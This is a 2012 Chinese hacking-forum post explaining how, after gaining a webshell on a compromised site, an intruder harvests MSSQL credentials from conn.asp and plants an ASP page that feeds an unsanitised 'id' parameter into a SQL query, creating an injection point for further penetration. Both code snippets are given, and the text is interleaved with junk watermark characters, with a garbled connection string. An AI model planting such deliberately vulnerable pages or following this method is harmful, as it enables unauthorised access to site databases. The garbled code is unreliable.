找回密码
 立即注册
查看: 2108|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
' Q' `/ j& d4 G" l' ~+ r5 x; A! m5 @4 x; k3 _4 J, b. H
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息! r$ j. ^3 y- B% A
' k& i& u: w4 a
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
/ c  P% f; N0 E& h* b& w9 R) }7 y/ }$ n
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
1 J4 v/ i7 a. q( W, R, C$ z  c2 A
  @9 U$ h/ [) C! ?# U8 R2 W1 x; I密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
9 G8 k4 I: o( ?* ^- x6 C3 ?& F
6 w' i, w- O6 R因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
& U+ W. J! R9 B7 ~: Z  i% h  u  o9 {* T( O/ O( h
程序代码
1 M$ A. ]/ Z, Y9 r* [& W<!--#include file="xx.asp"-->2 }- W! [+ m: B8 z1 X1 K+ C
<%7 a4 K) X; {2 x: T
set rs=server.createobject("ADODB.recordset")
6 o% D+ c$ ?- n- P1 k9 N8 ]7 Wid = request("id"), z5 _% z. p3 {
strSQL = "select * from admin where id=" & id
" q8 R# D* Y; f/ M# `5 ?rs.open strSQL,conn,1,3
# h6 A/ S" c! n6 T9 S6 i$ ?rs.close1 B/ @; n, ^! t) i5 ]5 H8 ~% j
%>! l1 L" t$ Y- ^: B

; h! P  Y& |" f; j! G把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在8 a. \; `- A+ G8 m7 V0 d5 n

" v+ T* r' d5 v9 r5 W) _你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
) F/ b1 b0 O$ F6 r8 h/ b% c  p! Q' ^9 ~: R' H
然后就要构造一个连接数据库的文件了,代码如下:
1 z4 T( k3 ~6 \& f' H2 s$ [程序代码3 @) S% D0 U9 t" t5 f) [
<%        
6 m+ g+ K0 Y" h3 y  _* m) dstrSQLServerName = "000.000.000.000"     '服务器名称或地址
1 ]3 p: B+ J" Z( dstrSQLDBUserName = "sqlname"         '数据库帐号  r) y$ h2 G6 }9 P
strSQLDBPassword = "sqlpass"         '数据库密码4 U! S) ?3 y  f3 S7 Y$ L+ l7 |( p& Q
strSQLDBName = "sqldataname"           '数据库名称
9 p- C4 j5 X& _4 ASet conn = Server.CreateObject("ADODB.Connection")
: t( ]2 k7 i8 m# t! G% c# ^strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"* E  S0 f9 r" q" a5 a0 ~
conn.open strCon! Z" N! t% x" h
%>- G" h2 B3 m3 o& {) r2 ]* e

2 g! O5 u; g& V/ t7 z/ ]. K这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,8 k" ]8 L* J3 P4 _8 h$ I% T

' x% s5 L: y& Y. ^8 [就这样,正常情况下,就OK了,伪造成功……
; w8 u" v3 G0 N! x% A+ ]$ q& d2 V( F' ^0 r9 e  Z
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表